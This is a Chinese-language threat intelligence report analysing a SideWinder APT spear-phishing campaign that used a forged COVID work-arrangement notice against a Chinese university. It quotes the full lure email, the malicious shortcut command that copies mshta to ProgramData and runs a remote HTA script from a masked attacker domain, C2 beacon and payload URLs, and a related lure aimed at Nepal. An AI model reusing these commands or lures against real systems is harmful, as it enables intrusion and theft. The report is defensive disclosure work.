響尾蛇組織利用疫情題材針對我國的網絡攻擊活動
時間 ： 2023年02月23日 來源： 安天CERT
1.概述
2022年11月，安天CERT發現一例印度方向響尾蛇組織針對我國某高校的魚叉式釣魚郵件。攻擊者通過預先注冊的虛假域名和賬號向目標的辦公室官方郵箱投送包含惡意快捷方式的附件包裹，社會工程學方面以疫情題材的郵件正文和掩飾文檔內容都做得相當逼真，十分具有迷惑性。惡意快捷方式被點擊后，將調用命令執行遠程的Javascript腳本，該腳本在內存中加載階段性惡意程序，獲取本機的殺毒軟件信息，惡意程序負責釋放并打開無惡意的掩飾文檔，以及下載后續木馬程序，但截至分析時已無法獲取。
梳理本次攻擊事件的特征如下：
表1?1 攻擊活動特征
|
事件要點 |
特征內容 |
|
攻擊時間 |
2022年11月22日 |
|
涉及組織 |
響尾蛇組織 |
|
事件概述 |
響尾蛇組織近期利用疫情題材針對國內高校的魚叉式釣魚攻擊活動 |
|
攻擊目標 |
國內某高校 |
|
攻擊手法 |
魚叉式釣魚攻擊 |
|
攻擊意圖 |
偵察、竊密 |
2.攻擊活動分析
2.1 攻擊郵件分析
2022年11月22日，攻擊者利用先行注冊的虛假域名：mail.***.edu.cn.ali**.co，構造出名為“陳蕾”的偽裝成目標高校個人郵箱地址的虛假賬號，向目標下屬公共管理學院的行政辦公室郵箱發送包含惡意附件的魚叉式釣魚郵件。
郵件正文為該校的公共管理學院關于11月22日起面對北京市疫情防控形勢，對學院內學生和教職工進行疫情防控措施調整的通知，其中提示“各辦公室根據近期工作計劃安排部分人員到崗（見附件名單）”，引導收件人下載查看郵件包含的附件，經查詢公開資料，11月期間該校公管學院官網并無相符的疫情通知，因而此封郵件內容可能為攻擊者結合目標的內部信息偽造而成。
表2-1 魚叉郵件標簽
|
事件要點 |
特征內容 |
|
發件人郵箱 |
陳蕾 <sppmdw@mail.***.edu.cn.ali**.co> |
|
收件人郵箱 |
gg**@***.edu.cn |
|
郵件發件時間 |
2022/11/22 (周二) 12:41 |
|
郵件標題 |
公共管理學院關于11月22日起工作安排調整的通知 |
|
郵件正文 |
公共管理學院關于11月22日起工作安排調整的通知 當前北京市疫情正處于快速增長期，校園面臨嚴峻挑戰。為堅決遏制疫情向校園擴散蔓延，全力維護校園安全，根據北京市和***大學關于疫情防控要求和學院實際，對近期工作調整通知如下： 1. 按防控政策有居家要求的教職工，近期不到校，配合屬地要求做好疫情防控，實行居家辦公、線上授課；請居住在校內家屬區的人員減少流動，不前往教學辦公區；請在校學生不前往校內家屬區；其他教職工非必要不到校、靈活辦公，建議盡量居家辦公、線上授課。 2.
學院安排領導每天帶班，各辦公室根據近期工作計劃安排部分人員到崗（見附件名單），確因工作需要進校的教職工，請保持學校與家兩點一線原則，盡量避免與學生有時空交集。 3.
學生嚴格執行“非必要不出校”。進出校申請全部調整為院系審批，原則上暫停審批因學業（上課）、實習和其他原因的臨時出校申請。京內校外居住學生嚴格“非必要不入?！?。校外居住學生轉為線上上課，在京已滿7天且確因實驗室在校內以“科研”事由申請臨時入校的，依據有關要求經院系審批入校，堅持不聚餐、不聚會、不前往人員密集場所。 4.
11月22日至25日，臨時人員原則上不入校，各單位原則上不組織線下會議和活動。各單位從嚴審批。 5.
進出學院大樓要求為：配合樓門值守人員要求進門刷卡、測溫，在公共場所佩戴口罩等。 6.
全體校內教職工和學生按要求完成常態化核酸檢測（自11月22日起調整為“一天一檢”），建議在白天錯峰完成，避免擁堵。居住校外的教職工根據社區安排進行檢測。自11月22日起，進校需查驗24小時內核酸陰性結果。 請全院教職員工和同學理解并嚴格落實學校疫情防控要求。請研究生導師關心關注同學們的學業、就業、心理等方面狀態。 本工作安排將隨著疫情形勢變化和上級要求及時調整。讓我們攜手共筑平安健康校園！ ***大學公共管理學院 2022年11月22日 |
|
郵件SMTP服務器 |
e226-5.smtp-out.us-east-2.amazonses.com |
|
附件文件名 |
公管學院關于11月22日起工作安排調整的通知.zip |
|
附件文件哈希 |
d0ca92ce29456931ad14aed48****** |
郵件的正文內容如下：
圖2?1 魚叉郵件的內容
2.2 附件樣本分析
郵件的附件為包含惡意快捷方式文件的ZIP包裹，包裹名為“公管學院關于11月22日起工作安排調整的通知.zip”，包裹的打包時間為北京時間2022-11-22 12:40:10，相比對應郵件的發件時間2022-11-22 12:41:13，僅相差有1分鐘：
表2?2 附件包裹標簽
|
病毒名稱 |
Trojan[APT]/ZIP.Sidewinder |
|
原始文件名 |
公管學院關于11月22日起工作安排調整的通知.zip |
|
MD5 |
D0CA92CE29456931AD14AED48C3EA93F |
|
文件大小 |
1.16 KB (1,188 字節) |
|
文件格式 |
application/zip |
|
最早內容修改時間 |
2022-11-22 12:40:10
UTC+8 |
|
最后內容修改時間 |
2022-11-22 12:40:10
UTC+8 |
|
包含文件內容 |
公管學院關于11月22日起工作安排調整的通知.docx.lnk ~notification01.tmp ~notification02.tmp |
包裹中包含主要的惡意快捷方式文件：公管學院關于11月22日起工作安排調整的通知.docx.lnk，以及執行時不起功能作用的無效文件：~notification01.tmp、~notification02.tmp：
圖2?2 附件ZIP包裹的內容
快捷方式樣本的文件大小1kb左右，創建時間為2021年4月9日，最后修改時間為2022年11月14日，生成時所處硬盤的序列號為ba8b-b47a。
表2-3 LNK樣本標簽
|
病毒名稱 |
Trojan[APT]/LNK.Sidewinder |
|
原始文件名 |
公管學院關于11月22日起工作安排調整的通知.docx.lnk |
|
MD5 |
5356A1193252B4FB2265FC8AC10327A1 |
|
文件大小 |
1.03 KB (1,055 字節) |
|
文件格式 |
Windows shortcut |
|
創建時間 |
2021-04-09 13:42:41
UTC+0 |
|
最終訪問時間 |
2022-11-14 05:53:04
UTC+0 |
|
最終修改時間 |
2021-04-09 13:42:41
UTC+0 |
|
硬盤序列號 |
ba8b-b47a |
|
相對路徑 |
..\..\..\Windows\System32\cmd.exe |
|
圖標文件名 |
%SystemRoot%\System32\SHELL32.dll |
|
命令行 |
C:\Windows\System32\cmd.exe /q /c copy /B
/Y C:\Windows\System32\m?ht?.??e %programdata%\jkli.exe &
start /min %programdata%\jkli.exe https://mail***.sina**.co/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta |
樣本命令行的功能是首先將系統System32目錄下的mshta.exe復制到C:\ProgramData\jkli.exe，然后獲取并執行遠程的JavaScript腳本文件：
C:\ProgramData\jkli.exe https://mail***.sina**.co/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta
表2?4 JavaScript腳本標簽
|
病毒名稱 |
Trojan[Cryxos]/JS.Agent |
|
原始文件名 |
hta |
|
MD5 |
C5747A607CDAE8C44A7EC11892E0AA25 |
|
文件大小 |
863 KB (884,199 字節) |
|
文件格式 |
JavaScript |
JavaScript腳本的主要代碼和數據都經過混淆和加密，功能包括：
1.解密數據并在臨時目錄下釋放名為tewoc.tmp的文件，該文件為被編碼的掩飾文檔。
2.利用系統WMI獲取本機的殺毒軟件安裝情況，并將名稱經URL編碼后按以下字段發送到C2：
https://mail***.sina**.co/3679/1/55554/3/3/0/1850376120/cmihaFWVTEksHgEfAt0f8krOaD8FM8OeaZ0Hha4X/files-139d04cb/0/data?d=殺毒軟件名稱
3.解密并加載名為App.dll的.Net木馬程序（代碼高度混淆），調用其Program()函數實現以下功能：
a) 加載上文臨時目錄下的tewoc.tmp文件，讀取其內容經base64解碼和gzip解壓縮，得到名為“公管學院關于11月22日起工作安排調整的通知.docx”的無病毒的掩飾文檔，并將其打開。
表2?5 掩飾文檔標簽
|
原始文件名 |
公管學院關于11月22日起工作安排調整的通知.docx |
|
MD5 |
CF1C0AADA943243FB1F55F02B91D4CB4 |
|
文件格式 |
Document/Microsoft.DOCX[:Word
2007-2013] |
|
文件大小 |
228 KB (233,821 字節) |
|
創建時間 |
2022:11:22 03:32:00 UTC+0 |
|
最后修改時間 |
2022:11:22 03:40:00 UTC+0 |
|
創建者 |
Windows User |
|
最后修改者 |
Windows User |
|
編輯總時間 |
8 minutes |
掩飾文檔的內容包括魚叉郵件中所述的值班人員到崗名單：
圖2?3 DOCX掩飾文檔的正文
b) 從以下鏈接獲取進一步載荷，用前32字節XOR解密并運行，目前鏈接已失效，分析無法繼續。
https://mail***.sina**.co/3679/1/55554/3/1/1/1850376120/cmihaFWVTEksHgEfAt0f8krOaD8FM8OeaZ0Hha4X/files-5038cee9/1/
圖2?4 獲取后續載荷并運行
3.關聯分析
通過提取快捷方式的靜態特征如時間戳、生成環境的硬盤序列號、命令行參數等，我們同源關聯出了另一個針對尼泊爾政府目標的快捷方式樣本?？旖莘绞降奈募麨椋????????????????????????????????????, ????.docx.lnk，翻譯成中文為：民族自豪感項目研究報告，2079.docx.lnk，經查詢公開資料，此題材與尼泊爾2079新年首日（尼泊爾陰歷，對應公歷2022年4月14日）發布的全國民族自豪感調研報告相關。
表3-1 LNK樣本同源對比
|
原始文件名 |
公管學院關于11月22日起工作安排調整的通知.docx.lnk |
????????????????????? ???????????????, ????.docx.lnk |
|
MD5 |
5356A1193252B4FB2265FC8AC10327A1 |
A92A98D9A88060A50F91F56B7FD11E81 |
|
文件大小 |
1.03 KB (1,055 字節) |
1.11 KB (1,143 字節) |
|
創建時間 |
2021-04-09 13:42:41
UTC+0 |
2021-04-09 13:42:41 UTC+0 |
|
最終訪問時間 |
2022-11-14 05:53:04
UTC+0 |
2022-11-14 05:53:04 UTC+0 |
|
最終修改時間 |
2021-04-09 13:42:41
UTC+0 |
2021-04-09 13:42:41 UTC+0 |
|
硬盤序列號 |
ba8b-b47a |
ba8b-b47a |
|
包裹打包時間 |
2022-11-22 04:40:10
UTC+0 |
2022-11-23 07:50:08 UTC+0 |
|
命令行 |
C:\Windows\System32\cmd.exe /q /c copy
/B /Y C:\Windows\System32\m?ht?.??e %programdata%\jkli.exe
& start /min %programdata%\jkli.exe https://mail***.sina**.co/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta |
C:\Windows\System32\cmd.exe /q /c copy
/B /Y C:\Windows\System32\m?ht?.??e %programdata%\jkli.exe
& start /min %programdata%\jkli.exe
https://mailv.***-gov.org/3669/1/24459/2/0/1/1850451727/6JOo39NpphBz5V3XOKZff9AGJH3RNAJuLvBQptc1/files-94603e7f/hta |
其所屬的ZIP包裹顯示惡意文件的打包時間為2022-11-23 15:50:08，發生在國內高校被攻擊的1天后：
圖3?1 附件ZIP包裹的內容
由于掛載下一步HTA腳本載荷的域名mailv.***-gov.org已失效，該關聯線索的分析無法繼續。
4.威脅框架視角的攻擊映射
本次系列攻擊活動共涉及ATT&CK框架中9個階段的14個技術點，具體行為描述如下表：
表4?1本次響尾蛇組織攻擊活動的技術行為描述表
|
ATT&CK階段 |
具體行為 |
注釋 |
|
偵察 |
搜集受害者網絡信息 |
搜集受害者的郵箱賬號等網絡信息 |
|
搜集受害者組織信息 |
搜集受害者的工作單位信息 |
|
|
資源開發 |
獲取基礎設施 |
注冊攻擊域名、搭建郵件服務器 |
|
建立賬戶 |
創建仿冒的郵箱賬號 |
|
|
初始訪問 |
網絡釣魚 |
發送魚叉式釣魚郵件投遞惡意附件 |
|
執行 |
利用命令和腳本解釋器 |
利用mshta等腳本類解釋器執行惡意代碼 |
|
誘導用戶執行 |
誘餌文件的信息與目標單位疫情防控措施相關 |
|
|
防御規避 |
混淆文件或信息 |
JS腳本、掩飾文件和DLL程序的內容都經過加密混淆 |
|
發現 |
發現軟件 |
發現系統內安裝殺毒軟件的情況 |
|
收集 |
自動收集 |
自動搜集系統信息 |
|
命令與控制 |
使用應用層協議 |
木馬使用HTTPS協議進行c2通訊 |
|
編碼數據 |
信息上傳過程中經過URL編碼 |
|
|
數據滲出 |
自動滲出數據 |
竊密數據自動滲出 |
|
使用C2信道回傳 |
木馬使用C2信道回傳數據 |
將涉及到的威脅行為技術點映射到ATT&CK框架如下圖所示：
圖4?1 本次響尾蛇攻擊活動對應ATT&CK映射圖